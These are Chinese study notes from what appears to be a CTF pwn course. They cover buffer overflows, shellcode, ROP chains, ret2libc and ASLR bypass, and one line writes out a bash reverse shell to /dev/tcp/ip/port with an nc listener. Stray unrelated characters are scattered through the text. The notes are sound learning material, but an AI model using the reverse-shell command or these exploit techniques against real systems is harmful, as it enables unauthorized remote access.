視頻學(xué)習(xí)筆記
:[] -----表示視頻中的位置
:() -----表示思路
:*/ -----表示說明
Week3
-CTF Capture The Flag
-種類:
Jeopardy:拿Flag
Attack-Defense:打服務(wù)器每個隊伍的蒋情,拿到對方主機的Flag,并且對方會被扣分耸携,找本身漏洞或者分析對方payload推測漏洞棵癣,在自己的binary上patch
King of the Hill:有一隊拿到Flag別的隊伍不能打,回合制
-Pwnable:
Windows:
Linux:找洞-> 寫Exp->思路正確->本地可以 ![思路圖片] [23:15 ]
1.找到任意地址 read
2.找到任意地址 write (寫GOT 寫stack ROP) */服務(wù)器端可能會開保護
-Resource:
ctftime.org
pwnable.kr
-Buffer Overflow:
Stack Overflow: [30:00]
Shellcode: 具體應(yīng)用[117:19]
限制:DEP
不可以有 \0
可以用call + pop 的方式拿到shellcode address
長度不足時夺衍,如果還能輸入可以做個read就好即shellcode 的功能為read 然后再利用read達到想要的目的
*/objdump [41:34] strip*/刪除某些不用的節(jié) 依靠節(jié) IDA不依靠節(jié)
IDA如果覺得某個函數(shù)反編譯錯了 Undefine 了在另一個函數(shù)Code一下就會顯示原來反匯編的
查看上級調(diào)用 x */也可以看String 的上級引用
u:認為函數(shù)被分析錯誤時使用 狈谊、
c:重新在指定位置分析
x:查看上級調(diào)用
n:重命名
Objdump: [48:00]
-T
-M intel 設(shè)置為intel反匯編
設(shè)置默認intel alias objdump='objdump -M intel'
readelf:
找symbol readelf -a | grep ' printf@'
ncat
nact -vc 'strace -e strace=read ./程序' */''括起來的相當(dāng)于一個程序 -e 設(shè)置顯示函數(shù)
gdb [ 67:00]
操作[75:002]
attach 操作出問題 將 /proc/sys/kernel/yama/ptrace_scope 設(shè)置為0
.gdbinit:set disassembly-flavor intel
gdb 會關(guān)閉 ALSR
Hook & patch [78:00]
alarm */程序打開一定時間后自動關(guān)閉 防止一直跑 [79:00]
修改alarm (vim 打開binary 有alarm 修改alarm為xxxxx -> %s/alarm/xxxxx/g :x 保存)
*/vim %s/AAA/BBB/g 將AAA換成BBB 因為xxxxx symbol 沒有所以會報錯 所以需要換成 有的symbol 通常換成 isnan
若不想打開vim 用 sed -i s/alarm/isnan/g ./程序名 也可以實現(xiàn)相同功能
hook alarm by LD_PRELOAD [81:13] 這個patch方法必須是 binary 為動態(tài)鏈接
LD_SHOW_AUXV
qira [85:25]
nasm [110:00]
nasm -f elf32 源.asm -o 目的.o
ld
ld -o 目的 源.o -m elf_i386
objcopy
objcopy -O 輸出方式 源.o 目的
Alphanumeric Shellcode 只有A-Z a-z 0-9 可以使用寫 shellcode [120:00- --]
繞過服務(wù)器 一些限制的一個思路
Heap Overflow:
Week4
-Alphanumeric Shellcode [-- -60:00 ]
-gdbserver [5:48-12:40]
gdbserver ip:端口 程序
gdb >> target remote ip:端口 */gdb 連接程序的方法 停在start
nc -vc '命令 可以輸入的和命令行可輸入的一樣' -kl ip 端口 */此時必須先nc 連接再用gdb 連接
pwntools 在連接后加一行input('#') 可以擋住nc的程序繼續(xù)運行 進而用gdb連接可以從主函數(shù)調(diào)試[18:20]
-system call [12:40- ]
-ROP Return Oriented Programming [70:51-]
ROP Chain
ROP 類型
控制register 做 syscall
使用原程序里有的 function
使用 libc 里有的 gadget 或 function
ROP syscall [80:00-120:40] */此處為基本構(gòu)造 之后的利用為通過Stack Migration 技巧利用
找到控制syscall所需的reg(eax,ebx,ecx,edx)
找到 int 0x80 gadget
ROPgedget */pwntools 的庫 [81:30]
Trick
execve需要/bin/sh,且地址已知
先用read把需要的字符串寫道已知地址buffer上
一個寫ROP的很好的例子 用 map和join函數(shù)加[] */此處表示數(shù)據(jù)類型 聯(lián)合使用
調(diào)試基本都是斷在ret的地
gtes結(jié)束標志是 \n 不加不會結(jié)束
思路:x/i $eip
execve 中不可以帶換行\(zhòng)n 所以用read讀的時候要注意調(diào)用的不能加換行 注意 sendline 函數(shù)[114:00]
read syscall [80:00-109:39]
execve syscall [109:39-120:40]
Stack Migration [128:20- --] */此處分了兩部分 此處為一個Trick并不是一種利用方法 此Trick為syscall服務(wù)
*/ROP syscall 為一種方法 Stack Migration 為一種解題技巧 目的是繞過各種限制 達到syscall 的目的
Week5 [4:00-81:00 97:20-]
-利用libc 或function [4:00-]
call 程序里有的function [5:31-12:51]
跳.plt entry
函數(shù)參數(shù)直接
用pop-ret 清掉用過的參數(shù)
使用libc里的函數(shù) [12:52-81:00]
printf,gets,puts等函數(shù)是放在libc.so.6里
可以直接使用ROP call libc里的system,即使程序里沒有使用到的
使用條件
libc版本或函數(shù)offset要已知
ASLR問題,不知道libc里函數(shù)的地址
Address Space Layout Randomization
Library每次程序執(zhí)行時載入內(nèi)存中的地址會不一樣
Stack的地址也會不一樣
Dynamically Linked ELF 相關(guān)操作 [18:42-27:24]
ldd ./程序 */的之程序使用的libc路徑
readelf -s /lib32/libc.so.6 */檢查libc里的symbol 此處接的是lib 的路徑
LD_LIBRARY_PATH=./path/to/libc */指定要載入libc路徑替換lib 如果覆蓋系統(tǒng)的lib 會出現(xiàn)錯誤 如果想改變某個程序的lib 用此方法指定,后邊接的也是目錄 */并且ld 與libc應(yīng)對應(yīng)即一套 [25:23] 只有當(dāng)時執(zhí)行時有效
Function Lazy Binding [27:24-33:44]
library在binary執(zhí)行時才會載入
第一次call函數(shù)時,解析函數(shù)的地址并填入.got.plt
因為ASLR所以每次的值會不同
fun_addr = offset+lib_addr
Libc Base Address [33:44-38:38] */因為是必須要位被call過的函數(shù) 且__libc_start_main 一定會是被call過的 所以在這里用__libc_start_main 當(dāng)?shù)刂分泻?時一般不用
函數(shù)在libc中的相對位置不會變
使用readelf得知 __libc_start_main 和 system 在 libc 里面的距離差
使用任何輸出函數(shù)打印出__libc_start_main.got位上的內(nèi)容,推算出system在內(nèi)存里的地址
ROP疊出puts(__libc_start_main@got)
要leak的got entry,對應(yīng)的函數(shù)必須是已被call過 */被call過的函數(shù)的addr一般為f開頭 即很大的數(shù) 至少比libc——base大
前提:已有或已知遠端的libc.so.6版本
Libc Data Base [38:38-44:00]
已知兩個function 的addr 時可以在libcdb里找有沒有對應(yīng)的版本 */libcdb.com 兩個函數(shù) 和其對應(yīng)的函數(shù)地址
Stack Migration [46:27-78:00] */實例 ROP_one 跑完之后才可以做ROP_two的實例
shell反射[78:00-81:00] */只能 input 沒有 output 的時候使用
system("bash -c 'bash -i > & /dev/tcp/ip/port 0>&1' ") */ ip為控制端的ip 相當(dāng)于給’ip’主機在本機開一個端口為'port'的shell
nc -klp 'port' */連接端輸入此命令等待被連接\
ROP for x86-64 [97:20-130:00 ]
64-bit ROP [98:00-101:00]
syscall要用rax,rdi,rsi,rdx,rcx,r8,r9 syscall
Function call參數(shù)傳遞是用register */ ret text tet libc
rdi,rsi,rdx,rcx,r8,r9
需要用pop-ret控制register,再接function address
64-bit Register [101:00-106:00]
rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi
r8-r15使用前八個加上REX prefix來表示的 */[101:35-104:00] rax-r8 rbx-r11 rcx-r9 rdx-r10
r12-r15是callee saved,所以r12-r15在function return前是很常見的 [104:00] */pop rdi沒有
pop r14 = 415e / pop rsi = 5e */所以用此兩條指令分別截一半表示 pop rsi 和 pop rdi
pop r15 = 415f / pop rdi = 5f
ROPgadget
ROPgadget 預(yù)設(shè)長度的搜索長度對于64bit來說不太夠 [106:00-106:31]
ROPgadget --binary ./程序 --depth 100 */增加長度
通用gadget [106:31-] */大部分情況下只需要控制rdi,rsi,rdx就夠用了
64bit ROP需要gadget來控制參數(shù)
gcc產(chǎn)生的程序中有些片段是一定會有的,可以用來做ROP,通常要構(gòu)造ret2libc不是問題
gcc >= 4.8,一點的版本有些gadget會不太一樣
控制rdi,rsi [107:54-111:10]
libc_csu_init中存在 pop r12 pop r13 pop r14 pop r15
控制rdx [111:10-114:54]
libc_csu_init mov rdx,r13 mov rsi,r14 mov edi,r15d call XXXX
先放某個buffer上一個pop_rXX-ret gadget 的地址,控制r13的值河劝、r12指向該buffer壁榕、rbx設(shè)成0
pop_rXX 會清掉call的return address,之后再ret下一個gadget
控制rax [114:55-122:00] */JOP 的時候可能會用到 rax 因為 jmp rax 指令段很常見
用函數(shù)的返回值來控制
gets,fgets返回的buffer(rax=rdi) */buffer 必須可以寫
strcpt,strncpy
alarm */alarm call第二次的時候它返回上次alarm為幾秒 上次alarm設(shè)的值 視頻中附alarm exp [121:00]
控制rcx [122:00-130:00]
很少會需要
沒有通用gadget
通常call function 看看會對rcx造成什么樣的影響
例如strcap可能會讓 ecx= 輸入字符串
De-ASLR with ROP [130:00-] */實例
在無法泄露時算出函數(shù)地址
實際上很多漏洞利用的情況中,是沒有辦法leak memory,再送第二次ROP的 */EX web server,browser
Function offset有可能已知赎瞎,因為平臺就哪幾種牌里,libc版本可以猜
在沒有信息泄露的情況下,只送一次payload,算出system的address然后call
dl_runtime_resolve [135:00-138:00 ]
有一種ROP技巧,是讓lazy binding函數(shù)被解析時得到錯誤的address
但有一些使用限制,RELEO保護全開時(應(yīng)該)沒有辦法 */Full RELEO 時 got.plt節(jié)只讀
-fno-stack-protector -Wl -z,relro,-z,now
ROP流程[140:00-]
想辦法從got.plt上撈出東西來(base)
使用pop_rsp_r13_r14_r15_ret,暫時把stack移動到got上,用pop把值拿出來
在最后ret對應(yīng)的格子上,與先填好leave_ret;并在一開始就先設(shè)好rbp準備好migrated stack
取出的base在r13上
把撈出來的東西加上offset(base+offset)
放回memory再call它
用好的gadget都是在64bitELF里會有的(GCC>=4.8)